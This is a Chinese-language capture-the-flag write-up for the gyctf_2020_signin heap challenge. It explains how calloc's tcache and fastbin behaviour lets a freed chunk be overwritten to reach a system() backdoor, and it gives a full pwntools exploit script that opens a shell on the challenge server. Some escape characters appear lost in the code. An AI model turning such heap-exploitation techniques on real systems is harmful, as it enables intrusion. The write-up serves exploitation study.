i春秋公益赛之signin

题目链接:https://buuoj.cn/challenges#gyctf_2020_signin

查看程序保护

 只开了canary和NX保护,在IDA查看反编译出来的为代码时发现程序给了一个后门

 很明显,我们只要往ptr中写入一些数据使其不为空就能getshell。这题的巧妙之处在于在调用system前调用了calloc函数。

calloc有一下几个特性:

  • 不会分配tcache中的chunk
  • 在分配fastbin中的chunk时若还有其他大小相同的fastbin_chunk则把它们全部放入tcache中

利用这两个特性我们就可以向ptr中写入数据,最终的exp如下:

from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
#p = process('./pwn')
p = remote('node3.buuoj.cn', 27231)

def Add(index):
    p.sendlineafter('your choice?', '1')
    p.sendlineafter('idx?
', str(index))

def Edit(index, content):
    p.sendlineafter('your choice?', '2')
    p.sendlineafter('idx?
', str(index))
    p.send(content)

def Delete(index):
    p.sendlineafter('your choice?', '3')
    p.sendlineafter('idx?
', str(index))

Add(0)
Add(1)
Add(2)
Add(3)
Add(4)
Add(5)
Add(6)
Add(7)
Delete(0)
Delete(1)
Delete(2)
Delete(3)
Delete(4)
Delete(5)
Delete(6)
Delete(7)
Add(8)
payload = p64(0x4040c0-0x10).ljust(0x50, 'x00')
#gdb.attach(p)
Edit(7, payload)
p.sendlineafter('your choice?', '6')
p.interactive()
原文地址:https://www.cnblogs.com/countfatcode/p/12426918.html